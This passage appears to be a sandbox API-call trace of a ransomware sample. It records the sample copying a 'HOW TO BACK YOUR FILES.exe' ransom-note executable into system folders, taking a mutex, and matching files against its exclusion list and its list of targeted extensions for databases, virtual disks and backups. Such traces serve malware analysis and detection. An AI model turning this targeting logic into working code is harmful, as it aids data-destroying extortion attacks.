RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x52d318 [0092.853] lstrcatW (in: lpString1="VC", lpString2="\\" | out: lpString1="VC\\") returned="VC\\" [0092.853] lstrcatW (in: lpString1="VC\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VC\\HOW TO BACK YOUR FILES.exe") returned="VC\\HOW TO BACK YOUR FILES.exe" [0092.853] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.872] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0092.872] lstrcmpiW (lpString1="VGX", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.872] lstrcmpiW (lpString1="VGX", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.872] lstrcmpiW (lpString1="VGX", lpString2=".") returned 1 [0092.872] lstrcmpiW (lpString1="VGX", lpString2="..") returned 1 [0092.872] lstrcmpiW (lpString1="VGX", lpString2="windows") returned -1 [0092.872] lstrcmpiW (lpString1="VGX", lpString2="bootmgr") returned 1 [0092.872] lstrcmpiW (lpString1="VGX", lpString2="temp") returned 1 [0092.872] lstrcmpiW (lpString1="VGX", lpString2="pagefile.sys") returned 1 [0092.872] lstrcmpiW (lpString1="VGX", lpString2="boot") returned 1 [0092.872] lstrcmpiW (lpString1="VGX", lpString2="ids.txt") returned 1 [0092.872] lstrcmpiW (lpString1="VGX", lpString2="ntuser.dat") returned 1 [0092.872] lstrcmpiW (lpString1="VGX", lpString2="perflogs") returned 1 [0092.872] lstrcmpiW (lpString1="VGX", lpString2="MSBuild") returned 1 [0092.872] lstrlenW (lpString="VGX") returned 3 [0092.872] lstrcpyW (in: lpString1=0x241e8b2, lpString2="VGX" | out: lpString1="VGX") returned="VGX" [0092.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b930 [0092.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53b0a0 [0092.872] lstrcatW (in: lpString1="VGX", lpString2="\\" | out: lpString1="VGX\\") returned="VGX\\" [0092.872] lstrcatW (in: lpString1="VGX\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VGX\\HOW TO BACK YOUR FILES.exe") returned="VGX\\HOW TO BACK YOUR FILES.exe" [0092.872] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vgx\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.875] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0092.875] lstrcmpiW (lpString1="VSTA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.875] lstrcmpiW (lpString1="VSTA", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.875] lstrcmpiW (lpString1="VSTA", lpString2=".") returned 1 [0092.875] lstrcmpiW (lpString1="VSTA", lpString2="..") returned 1 [0092.875] lstrcmpiW (lpString1="VSTA", lpString2="windows") returned -1 [0092.875] lstrcmpiW (lpString1="VSTA", lpString2="bootmgr") returned 1 [0092.875] lstrcmpiW (lpString1="VSTA", lpString2="temp") returned 1 [0092.875] lstrcmpiW (lpString1="VSTA", lpString2="pagefile.sys") returned 1 [0092.875] lstrcmpiW (lpString1="VSTA", lpString2="boot") returned 1 [0092.875] lstrcmpiW (lpString1="VSTA", lpString2="ids.txt") returned 1 [0092.875] lstrcmpiW (lpString1="VSTA", lpString2="ntuser.dat") returned 1 [0092.875] lstrcmpiW (lpString1="VSTA", lpString2="perflogs") returned 1 [0092.875] lstrcmpiW (lpString1="VSTA", lpString2="MSBuild") returned 1 [0092.875] lstrlenW (lpString="VSTA") returned 4 [0092.875] lstrcpyW (in: lpString1=0x241e8b2, lpString2="VSTA" | out: lpString1="VSTA") returned="VSTA" [0092.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b948 [0092.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x53b120 [0092.875] lstrcatW (in: lpString1="VSTA", lpString2="\\" | out: lpString1="VSTA\\") returned="VSTA\\" [0092.875] lstrcatW (in: lpString1="VSTA\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VSTA\\HOW TO BACK YOUR FILES.exe") returned="VSTA\\HOW TO BACK YOUR FILES.exe" [0092.875] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.886] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d01960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d01960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0092.886] lstrcmpiW (lpString1="VSTO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.886] lstrcmpiW (lpString1="VSTO", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.886] lstrcmpiW (lpString1="VSTO", lpString2=".") returned 1 [0092.886] lstrcmpiW (lpString1="VSTO", lpString2="..") returned 1 [0092.886] lstrcmpiW (lpString1="VSTO", lpString2="windows") returned -1 [0092.886] lstrcmpiW (lpString1="VSTO", lpString2="bootmgr") returned 1 [0092.886] lstrcmpiW (lpString1="VSTO", lpString2="temp") returned 1 [0092.886] lstrcmpiW (lpString1="VSTO", lpString2="pagefile.sys") returned 1 [0092.886] lstrcmpiW (lpString1="VSTO", lpString2="boot") returned 1 [0092.886] lstrcmpiW (lpString1="VSTO", lpString2="ids.txt") returned 1 [0092.886] lstrcmpiW (lpString1="VSTO", lpString2="ntuser.dat") returned 1 [0092.887] lstrcmpiW (lpString1="VSTO", lpString2="perflogs") returned 1 [0092.887] lstrcmpiW (lpString1="VSTO", lpString2="MSBuild") returned 1 [0092.887] lstrlenW (lpString="VSTO") returned 4 [0092.887] lstrcpyW (in: lpString1=0x241e8b2, lpString2="VSTO" | out: lpString1="VSTO") returned="VSTO" [0092.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b960 [0092.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x53b1a0 [0092.887] lstrcatW (in: lpString1="VSTO", lpString2="\\" | out: lpString1="VSTO\\") returned="VSTO\\" [0092.887] lstrcatW (in: lpString1="VSTO\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VSTO\\HOW TO BACK YOUR FILES.exe") returned="VSTO\\HOW TO BACK YOUR FILES.exe" [0092.887] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.891] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0092.891] lstrcmpiW (lpString1="Web Server Extensions", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.891] lstrcmpiW (lpString1="Web Server Extensions", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.891] lstrcmpiW (lpString1="Web Server Extensions", lpString2=".") returned 1 [0092.891] lstrcmpiW (lpString1="Web Server Extensions", lpString2="..") returned 1 [0092.891] lstrcmpiW (lpString1="Web Server Extensions", lpString2="windows") returned -1 [0092.891] lstrcmpiW (lpString1="Web Server Extensions", lpString2="bootmgr") returned 1 [0092.891] lstrcmpiW (lpString1="Web Server Extensions", lpString2="temp") returned 1 [0092.891] lstrcmpiW (lpString1="Web Server Extensions", lpString2="pagefile.sys") returned 1 [0092.891] lstrcmpiW (lpString1="Web Server Extensions", lpString2="boot") returned 1 [0092.891] lstrcmpiW (lpString1="Web Server Extensions", lpString2="ids.txt") returned 1 [0092.891] lstrcmpiW (lpString1="Web Server Extensions", lpString2="ntuser.dat") returned 1 [0092.891] lstrcmpiW (lpString1="Web Server Extensions", lpString2="perflogs") returned 1 [0092.891] lstrcmpiW (lpString1="Web Server Extensions", lpString2="MSBuild") returned 1 [0092.891] lstrlenW (lpString="Web Server Extensions") returned 21 [0092.892] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Web Server Extensions" | out: lpString1="Web Server Extensions") returned="Web Server Extensions" [0092.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b978 [0092.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x96) returned 0x52e058 [0092.892] lstrcatW (in: lpString1="Web Server Extensions", lpString2="\\" | out: lpString1="Web Server Extensions\\") returned="Web Server Extensions\\" [0092.892] lstrcatW (in: lpString1="Web Server Extensions\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Web Server Extensions\\HOW TO BACK YOUR FILES.exe") returned="Web Server Extensions\\HOW TO BACK YOUR FILES.exe" [0092.892] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.895] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0092.895] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0092.895] ReleaseMutex (hMutex=0xec) returned 1 [0092.895] CloseHandle (hObject=0xec) returned 1 [0092.895] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Common Files\\Services" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services" [0092.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51bbb8 | out: hHeap=0x4f0000) returned 1 [0092.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f880 | out: hHeap=0x4f0000) returned 1 [0092.895] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Services") returned 44 [0092.895] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\BDFBBBB03578A6497764173252DE498C") returned 0xec [0092.895] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0092.895] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Services" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services" [0092.895] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0092.895] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\services\\how to back your files.exe"), bFailIfExists=1) returned 0 [0092.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\services\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0092.896] GetLastError () returned 0x0 [0092.896] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0092.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0092.896] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0092.897] CloseHandle (hObject=0xf4) returned 1 [0092.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0092.897] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0092.897] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc0bcf3e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0bcf3e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0092.897] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.897] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.897] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0092.897] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc0bcf3e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0bcf3e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.897] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.897] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.897] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0092.897] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0092.897] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0bcf3e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0bcf3e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0092.897] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0092.898] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892529fc, ftCreationTime.dwHighDateTime=0x1c9ea12, ftLastAccessTime.dwLowDateTime=0x892529fc, ftLastAccessTime.dwHighDateTime=0x1c9ea12, ftLastWriteTime.dwLowDateTime=0x892529fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2=".") returned 1 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2="..") returned 1 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2="windows") returned -1 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2="bootmgr") returned 1 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2="temp") returned 1 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2="pagefile.sys") returned 1 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2="boot") returned 1 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2="ids.txt") returned 1 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2="ntuser.dat") returned 1 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2="perflogs") returned 1 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2="MSBuild") returned 1 [0092.898] lstrlenW (lpString="verisign.bmp") returned 12 [0092.898] lstrcpyW (in: lpString1=0x241e8a2, lpString2="verisign.bmp" | out: lpString1="verisign.bmp") returned="verisign.bmp" [0092.898] lstrlenW (lpString="verisign.bmp") returned 12 [0092.898] lstrlenW (lpString="Athena865") returned 9 [0092.898] lstrcmpiW (lpString1="isign.bmp", lpString2="Athena865") returned 1 [0092.898] lstrlenW (lpString=".dll") returned 4 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2=".dll") returned 1 [0092.898] lstrlenW (lpString=".lnk") returned 4 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2=".lnk") returned 1 [0092.898] lstrlenW (lpString=".ini") returned 4 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2=".ini") returned 1 [0092.898] lstrlenW (lpString=".sys") returned 4 [0092.898] lstrcmpiW (lpString1="verisign.bmp", lpString2=".sys") returned 1 [0092.898] lstrlenW (lpString="verisign.bmp") returned 12 [0092.898] lstrlenW (lpString="bak") returned 3 [0092.899] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1 [0092.899] lstrlenW (lpString="ba_") returned 3 [0092.899] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1 [0092.899] lstrlenW (lpString="dbb") returned 3 [0092.899] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1 [0092.899] lstrlenW (lpString="vmdk") returned 4 [0092.899] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1 [0092.899] lstrlenW (lpString="rar") returned 3 [0092.899] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1 [0092.899] lstrlenW (lpString="zip") returned 3 [0092.899] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1 [0092.899] lstrlenW (lpString="tgz") returned 3 [0092.899] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1 [0092.899] lstrlenW (lpString="vbox") returned 4 [0092.899] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1 [0092.899] lstrlenW (lpString="vdi") returned 3 [0092.899] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1 [0092.899] lstrlenW (lpString="vhd") returned 3 [0092.899] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1 [0092.899] lstrlenW (lpString="vhdx") returned 4 [0092.899] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1 [0092.899] lstrlenW (lpString="avhd") returned 4 [0092.899] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1 [0092.899] lstrlenW (lpString="db") returned 2 [0092.899] lstrcmpiW (lpString1="mp", lpString2="db") returned 1 [0092.899] lstrlenW (lpString="db2") returned 3 [0092.899] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1 [0092.899] lstrlenW (lpString="db3") returned 3 [0092.899] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1 [0092.900] lstrlenW (lpString="dbf") returned 3 [0092.900] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1 [0092.900] lstrlenW (lpString="mdf") returned 3 [0092.900] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1 [0092.900] lstrlenW (lpString="mdb") returned 3 [0092.900] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1 [0092.900] lstrlenW (lpString="sql") returned 3 [0092.900] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1 [0092.900] lstrlenW (lpString="sqlite") returned 6 [0092.900] lstrcmpiW (lpString1="gn.bmp", lpString2="sqlite") returned -1 [0092.900] lstrlenW (lpString="sqlite3") returned 7 [0092.900] lstrcmpiW (lpString1="ign.bmp", lpString2="sqlite3") returned -1 [0092.900] lstrlenW (lpString="sqlitedb") returned 8 [0092.900] lstrcmpiW (lpString1="sign.bmp", lpString2="sqlitedb") returned -1 [0092.900] lstrlenW (lpString="xml") returned 3 [0092.900] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1 [0092.900] lstrlenW (lpString="$er") returned 3 [0092.900] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1 [0092.900] lstrlenW (lpString="4dd") returned 3 [0092.900] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1 [0092.900] lstrlenW (lpString="4dl") returned 3 [0092.900] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1 [0092.900] lstrlenW (lpString="^^^") returned 3 [0092.901] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1 [0092.901] lstrlenW (lpString="abs") returned 3 [0092.901] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1 [0092.901] lstrlenW (lpString="abx") returned 3 [0092.901] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1 [0092.901] lstrlenW (lpString="accdb") returned 5 [0092.901] lstrcmpiW (lpString1="n.bmp", lpString2="accdb") returned 1 [0092.901] lstrlenW (lpString="accdc") returned 5 [0092.901] lstrcmpiW (lpString1="n.bmp", lpString2="accdc") returned 1 [0092.901] lstrlenW (lpString="accde") returned 5 [0092.901] lstrcmpiW (lpString1="n.bmp", lpString2="accde") returned 1 [0092.901] lstrlenW (lpString="accdr") returned 5 [0092.901] lstrcmpiW (lpString1="n.bmp", lpString2="accdr") returned 1 [0092.901] lstrlenW (lpString="accdt") returned 5 [0092.901] lstrcmpiW (lpString1="n.bmp", lpString2="accdt") returned 1 [0092.901] lstrlenW (lpString="accdw") returned 5 [0092.901] lstrcmpiW (lpString1="n.bmp", lpString2="accdw") returned 1 [0092.901] lstrlenW (lpString="accft") returned 5 [0092.901] lstrcmpiW (lpString1="n.bmp", lpString2="accft") returned 1 [0092.901] lstrlenW (lpString="adb") returned 3 [0092.901] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0092.901] lstrlenW (lpString="adb") returned 3 [0092.901] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0092.901] lstrlenW (lpString="ade") returned 3 [0092.901] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1 [0092.901] lstrlenW (lpString="adf") returned 3 [0092.901] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1 [0092.901] lstrlenW (lpString="adn") returned 3 [0092.901] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1 [0092.901] lstrlenW (lpString="adp") returned 3 [0092.901] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1 [0092.902] lstrlenW (lpString="alf") returned 3 [0092.902] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1 [0092.902] lstrlenW (lpString="ask") returned 3 [0092.902] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1 [0092.902] lstrlenW (lpString="btr") returned 3 [0092.902] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1 [0092.902] lstrlenW (lpString="cat") returned 3 [0092.902] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1 [0092.902] lstrlenW (lpString="cdb") returned 3 [0092.902] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1 [0092.902] lstrlenW (lpString="ckp") returned 3 [0092.902] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1 [0092.902] lstrlenW (lpString="cma") returned 3 [0092.902] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1 [0092.902] lstrlenW (lpString="cpd") returned 3 [0092.902] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1 [0092.902] lstrlenW (lpString="dacpac") returned 6 [0092.902] lstrcmpiW (lpString1="gn.bmp", lpString2="dacpac") returned 1 [0092.902] lstrlenW (lpString="dad") returned 3 [0092.902] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1 [0092.902] lstrlenW (lpString="dadiagrams") returned 10 [0092.902] lstrcmpiW (lpString1="risign.bmp", lpString2="dadiagrams") returned 1 [0092.902] lstrlenW (lpString="daschema") returned 8 [0092.902] lstrcmpiW (lpString1="sign.bmp", lpString2="daschema") returned 1 [0092.902] lstrlenW (lpString="db-journal") returned 10 [0092.902] lstrcmpiW (lpString1="risign.bmp", lpString2="db-journal") returned 1 [0092.902] lstrlenW (lpString="db-shm") returned 6 [0092.902] lstrcmpiW (lpString1="gn.bmp", lpString2="db-shm") returned 1 [0092.902] lstrlenW (lpString="db-wal") returned 6 [0092.902] lstrcmpiW (lpString1="gn.bmp", lpString2="db-wal") returned 1 [0092.902] lstrlenW (lpString="dbc") returned 3 [0092.903] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1 [0092.903] lstrlenW (lpString="dbs") returned 3 [0092.903] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1 [0092.903] lstrlenW (lpString="dbt") returned 3 [0092.903] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1 [0092.903] lstrlenW (lpString="dbv") returned 3 [0092.903] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1 [0092.903] lstrlenW (lpString="dbx") returned 3 [0092.903] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1 [0092.903] lstrlenW (lpString="dcb") returned 3 [0092.903] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1 [0092.903] lstrlenW (lpString="dct") returned 3 [0092.903] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1 [0092.903] lstrlenW (lpString="dcx") returned 3 [0092.903] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1 [0092.903] lstrlenW (lpString="ddl") returned 3 